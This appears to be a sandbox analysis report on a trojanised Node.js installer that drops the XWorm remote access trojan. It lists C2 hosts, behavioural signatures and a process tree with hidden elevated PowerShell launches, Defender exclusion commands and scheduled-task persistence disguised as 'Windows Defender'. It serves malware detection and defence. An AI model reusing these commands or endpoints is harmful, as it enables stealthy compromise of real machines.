Overview

overview

10

Static

static

1

node-v22.11.0-x64.msi

windows7-x64

6

node-v22.11.0-x64.msi

windows10-2004-x64

10

Analysis

  • max time kernel
    300s
  • max time network
    302s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/11/2024, 13:59

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    node-v22.11.0-x64.msi
  • Size 28.9MB
  • Sample241113-rawlystckq
  • SHA256 9eea480bd30c98ae11a97cb89a9278235cbbbd03c171ee5e5198bd86b7965b4b
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xwormdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationrattrojan

Malware Config

Extracted

Family

  • xworm

C2

  • completed-rally.gl.at.ply.gg:28996

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    Windows Data Compiler.exe

Extracted

Family

  • xworm

Version

  • 5.0

C2

  • shoes-since.gl.at.ply.gg:49960

  • george-liechtenstein.gl.at.ply.gg:2030

Mutex

  • XnVPNFvj6qHEv6EY

Attributes
  • Install_directory

    %AppData%

  • install_file

    WindowsAntivirus.exe

aes.plain
aes.plain

Signatures

  • Detect Xworm Payload 6 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

    Run Powershell and hide display window.

    execution
  • Drops startup file 6 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 15 IoCs
  • Executes dropped EXE 12 IoCs
  • Loads dropped DLL 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 8 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 30 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\node-v22.11.0-x64.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:384
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2756
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding CCA546A9921DBEC4FEEA1EF1FE9FA053 C
      2⤵
      • Loads dropped DLL
      PID:4416
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1128
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding ED48720C344B430C40DEA3BA385284CB
        2⤵
        • Loads dropped DLL
        PID:2792
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding F0700F64DA5E717C486EDB354D9B8530 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        PID:1612
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 15E0F10D4A567A4AC28137B469178B68
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2724
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3708
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2344
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c CALL "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2676
        • C:\Program Files\nodejs\node.exe
          "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
          3⤵
          • Executes dropped EXE
          PID:4752
      • C:\Program Files\nodejs\node.exe
        "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-cli.js" -i rootkitfix
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:4716
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c CALL "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1472
        • C:\Program Files\nodejs\node.exe
          "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
          3⤵
          • Executes dropped EXE
          PID:3560
      • C:\Program Files\nodejs\node.exe
        "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-cli.js" i rootkitfix
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:3568
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c CALL "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1388
        • C:\Program Files\nodejs\node.exe
          "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
          3⤵
          • Executes dropped EXE
          PID:980
      • C:\Program Files\nodejs\node.exe
        "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-cli.js" i solarafix
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4508
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c node index.js
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2120
          • C:\Program Files\nodejs\node.exe
            node index.js
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3712
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Start-Process -FilePath "'C:\Users\Admin\AppData\Local\Temp\2058e79f27c9deca7b17071fecb39d94\execute.bat'" -WindowStyle hidden -Verb runAs"
              5⤵
              • Hide Artifacts: Hidden Window
              • Suspicious use of WriteProcessMemory
              PID:2904
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe Start-Process -FilePath "'C:\Users\Admin\AppData\Local\Temp\2058e79f27c9deca7b17071fecb39d94\execute.bat'" -WindowStyle hidden -Verb runAs
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Modifies registry class
                • Suspicious use of WriteProcessMemory
                PID:848
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\2058e79f27c9deca7b17071fecb39d94\execute.bat"
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3716
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    8⤵
                      PID:5084
                    • C:\Users\Admin\AppData\Local\Temp\cmd.exe
                      "C:\Users\Admin\AppData\Local\Temp\cmd.exe"
                      8⤵
                      • Adds Run key to start application
                      • Checks computer location settings
                      • Drops file in System32 directory
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2388
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\XClient.exe'
                        9⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:3612
                      • C:\Windows\System32\schtasks.exe
                        "C:\Windows\System32\schtasks.exe" /Create /F /TN "XClient" /SC ONLOGON /TR "C:\Windows\System32\XClient.exe" /RL HIGHEST
                        9⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1676
                      • C:\Windows\System32\XClient.exe
                        "C:\Windows\System32\XClient.exe"
                        9⤵
                        • Drops startup file
                        • Adds Run key to start application
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:3652
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\XClient.exe'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:3500
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:4328
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Windows Data Compiler.exe'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:3224
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Windows Data Compiler.exe'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:1824
                        • C:\Windows\System32\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows Data Compiler" /tr "C:\Users\Admin\AppData\Local\Windows Data Compiler.exe"
                          10⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4624
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\Bootstrapper (1).exe'
                        9⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:1408
                      • C:\Windows\System32\schtasks.exe
                        "C:\Windows\System32\schtasks.exe" /Create /F /TN "Bootstrapper (1)" /SC ONLOGON /TR "C:\Windows\System32\Bootstrapper (1).exe" /RL HIGHEST
                        9⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5016
                      • C:\Windows\System32\Bootstrapper (1).exe
                        "C:\Windows\System32\Bootstrapper (1).exe"
                        9⤵
                        • Drops startup file
                        • Adds Run key to start application
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Suspicious use of SetWindowsHookEx
                        PID:3200
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\Bootstrapper (1).exe'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:848
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Bootstrapper (1).exe'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:3116
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WindowsAntivirus.exe'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:1496
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsAntivirus.exe'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:1324
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\Windows Defender.exe'
                        9⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:1808
                      • C:\Windows\System32\schtasks.exe
                        "C:\Windows\System32\schtasks.exe" /Create /F /TN "Windows Defender" /SC ONLOGON /TR "C:\Windows\System32\Windows Defender.exe" /RL HIGHEST
                        9⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1472
                      • C:\Windows\System32\Windows Defender.exe
                        "C:\Windows\System32\Windows Defender.exe"
                        9⤵
                        • Drops startup file
                        • Adds Run key to start application
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Suspicious use of SetWindowsHookEx
                        PID:4636
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\Windows Defender.exe'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:1568
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Windows Defender.exe'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:3268
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Windows Defender.exe'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:1916
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Windows Defender.exe'
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:3396
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "rmdir /s /q "C:\Users\Admin\AppData\Local\Temp\2058e79f27c9deca7b17071fecb39d94""
                5⤵
                  PID:440
        • C:\Windows\System32\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
          1⤵
            PID:3092
          • C:\Windows\system32\taskmgr.exe
            "C:\Windows\system32\taskmgr.exe" /7
            1⤵
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:2180
          • C:\Users\Admin\AppData\Local\Windows Data Compiler.exe
            "C:\Users\Admin\AppData\Local\Windows Data Compiler.exe"
            1⤵
            • Executes dropped EXE
            PID:3692

          Network

                MITRE ATT&CK Enterprise v15

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                1
                T1059

                PowerShell

                1
                T1059.001

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Installer Packages

                1
                T1546.016

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Installer Packages

                1
                T1546.016

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Defense Evasion

                Hide Artifacts

                1
                T1564

                Hidden Window

                1
                T1564.003

                Modify Registry

                1
                T1112

                System Binary Proxy Execution

                1
                T1218

                Msiexec

                1
                T1218.007

                Credential Access

                Discovery

                Peripheral Device Discovery

                2
                T1120

                Query Registry

                4
                T1012

                System Information Discovery

                4
                T1082

                System Location Discovery

                1
                T1614

                System Language Discovery

                1
                T1614.001

                Lateral Movement

                Collection

                Command and Control

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                e586fdd.rbs
                • Path C:\Config.Msi\e586fdd.rbs
                • Size 935KB
                • SHA256 32c34f7ce3b48de4f4cb390178849926508c45c9e492e13af78a687ed79512bb
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                npm-cli.js
                • Path C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js
                • Size 56B
                • SHA256 3ce7cba6f5128dd5f54c98b6a5036b0f850496878cc2e21044b675fe3c594e3e
                • MD5 SHA1 SHA512
                Submit Download

                npm-prefix.js
                • Path C:\Program Files\nodejs\node_modules\npm\bin\npm-prefix.js
                • Size 864B
                • SHA256 673f620e40137c295f2cf057364468bf3a71653dfc0973be895ebf7a8c368c2e
                • MD5 SHA1 SHA512
                Submit Download

                cli.js
                • Path C:\Program Files\nodejs\node_modules\npm\lib\cli.js
                • Size 219B
                • SHA256 bbcf260a5c9c25e8789fe26905951d52a76d9723ce15416c3174f8c732cf2d17
                • MD5 SHA1 SHA512
                Submit Download

                entry.js
                • Path C:\Program Files\nodejs\node_modules\npm\lib\cli\entry.js
                • Size 3KB
                • SHA256 2c5f2aaf9e1152337b226ec80f04ad728fb7b776be91f10713d0b7fcb461d226
                • MD5 SHA1 SHA512
                Submit Download

                validate-engines.js
                • Path C:\Program Files\nodejs\node_modules\npm\lib\cli\validate-engines.js
                • Size 2KB
                • SHA256 686dbd7c04056036a8e5e99a44e6062068575aefea8e40faf5b352a1d999d45a
                • MD5 SHA1 SHA512
                Submit Download

                definition.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\definition.js
                • Size 6KB
                • SHA256 8d2dd6fdf38c2cceed52e113d3c179510280f7f9eccb3fa8d9f257edea2b0741
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                definitions.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\definitions.js
                • Size 74KB
                • SHA256 79164e3881df94b91226fecfbb40133ab1f26d6bf66953f37f72dc1dd5bb9610
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                index.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\index.js
                • Size 2KB
                • SHA256 8082123435ecf20322d330e1efe7ff2ebba7b48b9a33950f11ff57e06319f225
                • MD5 SHA1 SHA512
                Submit Download

                env-replace.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\env-replace.js
                • Size 428B
                • SHA256 faf24168246ff247179947ca899172d442688c599840ccf41798cada6c36bc3c
                • MD5 SHA1 SHA512
                Submit Download

                index.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\index.js
                • Size 29KB
                • SHA256 9976a7f202a683370a170f8ab053d89cf6450c9d0596d8bed92bb762f0dca92e
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                nerf-dart.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\nerf-dart.js
                • Size 473B
                • SHA256 7d0ee69ea790e4658d5029cdd728eb6375d0feed79af8b24dac99723e25cbbc7
                • MD5 SHA1 SHA512
                Submit Download

                parse-field.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\parse-field.js
                • Size 2KB
                • SHA256 5ea7f66b8afaeb7d1dc00eb80ba7cf4a9dea3c46670dfd0208c78c72318e7552
                • MD5 SHA1 SHA512
                Submit Download

                set-envs.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\set-envs.js
                • Size 3KB
                • SHA256 3ca3cd31804ef8dc94e12f09384555ecf47a740424f3fdc21c4069869f1a2b34
                • MD5 SHA1 SHA512
                Submit Download

                type-defs.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\type-defs.js
                • Size 1KB
                • SHA256 5f8cab3a4133b226c653784d569a9bf3e5a2ee76ac73b9156cd58a2c72839648
                • MD5 SHA1 SHA512
                Submit Download

                umask.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\umask.js
                • Size 949B
                • SHA256 9aec687f45f435f9f198e583f35b5f5a4cd0d66e21c2e6e9c772fd8ccbe65b68
                • MD5 SHA1 SHA512
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\package.json
                • Size 1KB
                • SHA256 245d5f0e2a7508229e1cd3ee5f518d93c99eb8280fb35f7df149fe5222bb8af5
                • MD5 SHA1 SHA512
                Submit Download

                LICENSE.md
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\sign\node_modules\@npmcli\fs\LICENSE.md
                • Size 818B
                • SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
                • MD5 SHA1 SHA512
                Submit Download

                LICENSE
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\tuf\LICENSE
                • Size 11KB
                • SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                shared.types.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\verify\dist\shared.types.js
                • Size 79B
                • SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
                • MD5 SHA1 SHA512
                Submit Download

                LICENSE
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\bin-links\LICENSE
                • Size 754B
                • SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
                • MD5 SHA1 SHA512
                Submit Download

                license
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\cacache\node_modules\p-map\license
                • Size 1KB
                • SHA256 fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f
                • MD5 SHA1 SHA512
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\cacache\node_modules\tar\dist\esm\package.json
                • Size 26B
                • SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
                • MD5 SHA1 SHA512
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\cacache\node_modules\yallist\dist\commonjs\package.json
                • Size 28B
                • SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
                • MD5 SHA1 SHA512
                Submit Download

                index.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\ci-info\index.js
                • Size 2KB
                • SHA256 543c666e3f9765fdd69dd18c267ce871a7581cfcca70eb8bea2265da840d277e
                • MD5 SHA1 SHA512
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\ci-info\package.json
                • Size 1KB
                • SHA256 a4ccd7fb4d618cda4f2aa0c8e6e6730b518902c995819eceb0e9353a1bede7c1
                • MD5 SHA1 SHA512
                Submit Download

                vendors.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\ci-info\vendors.json
                • Size 6KB
                • SHA256 d3b5233ed14e168826e4f6c59e284cc6e10fad5bf49152f676747970ad86fba3
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                LICENSE
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\fs-minipass\LICENSE
                • Size 780B
                • SHA256 3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
                • MD5 SHA1 SHA512
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\graceful-fs\package.json
                • Size 1KB
                • SHA256 2dcd4b0786f9ca9b80418d56a57a5aa4649732d667e389cf1afa4b12ed618266
                • MD5 SHA1 SHA512
                Submit Download

                license
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\indent-string\license
                • Size 1KB
                • SHA256 67292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec
                • MD5 SHA1 SHA512
                Submit Download

                ini.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\ini\lib\ini.js
                • Size 7KB
                • SHA256 481b00a4ebbfc83b28b97d32dccd32d7585b29b209930d4db457d91967f172ad
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\ini\package.json
                • Size 1KB
                • SHA256 94ebf2db52f15b5da55a809977e04f02b052abf418cb160a8d0719362295d867
                • MD5 SHA1 SHA512
                Submit Download

                LICENSE
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmsearch\LICENSE
                • Size 730B
                • SHA256 2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
                • MD5 SHA1 SHA512
                Submit Download

                debug.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\lib\debug.js
                • Size 186B
                • SHA256 0eda498431dfcb77febe2e79b4a63139559d3f42b21e8b81fc3879a3f6dc3c46
                • MD5 SHA1 SHA512
                Submit Download

                nopt-lib.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\lib\nopt-lib.js
                • Size 12KB
                • SHA256 ff669467a8d425130753c6169ce0ce909d45a110d36b1c37949608fa4395fe56
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                nopt.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\lib\nopt.js
                • Size 985B
                • SHA256 10623659120996267168230ef2ffa9cfb7ce00422175d21476074c48d5262c18
                • MD5 SHA1 SHA512
                Submit Download

                type-defs.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\lib\type-defs.js
                • Size 2KB
                • SHA256 6537bb9b4df3a1af3e14d5a99d58e75180878a3e96a4bb3bc9760b052b53c5a5
                • MD5 SHA1 SHA512
                Submit Download

                index.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\node_modules\abbrev\lib\index.js
                • Size 1KB
                • SHA256 89ba3bd4b34ed7130749b098f18a78af725bba43b674039ffe801e8cf85df93f
                • MD5 SHA1 SHA512
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\node_modules\abbrev\package.json
                • Size 1KB
                • SHA256 ddeeecbb529261a5754f8e367601c66ace7822603315b776c330fea3524dd7ca
                • MD5 SHA1 SHA512
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\package.json
                • Size 1KB
                • SHA256 8d349e100fdd613174f8b3c58149545e3d69a959b7fa3f466d457825575f5b3c
                • MD5 SHA1 SHA512
                Submit Download

                LICENSE
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\npm-audit-report\LICENSE
                • Size 771B
                • SHA256 b49c8d25a8b57fa92b2902d09c4b8a809157ee32fc10d17b7dbb43c4a8038f79
                • MD5 SHA1 SHA512
                Submit Download

                index.js
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\proc-log\lib\index.js
                • Size 3KB
                • SHA256 f6c7ee8376eb6720a9b5149077648a0cc74e749c928f36bf88bd4dc6728d663c
                • MD5 SHA1 SHA512
                Submit Download

                package.json
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\proc-log\package.json
                • Size 1KB
                • SHA256 25f1b2da27302598083b749278018f7bd5cf42b8632df48428e07371e6386380
                • MD5 SHA1 SHA512
                Submit Download

                LICENSE
                • Path C:\Program Files\nodejs\node_modules\npm\node_modules\promise-call-limit\LICENSE
                • Size 763B
                • SHA256 1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7
                • MD5 SHA1 SHA512
                Submit Download

                semver.js
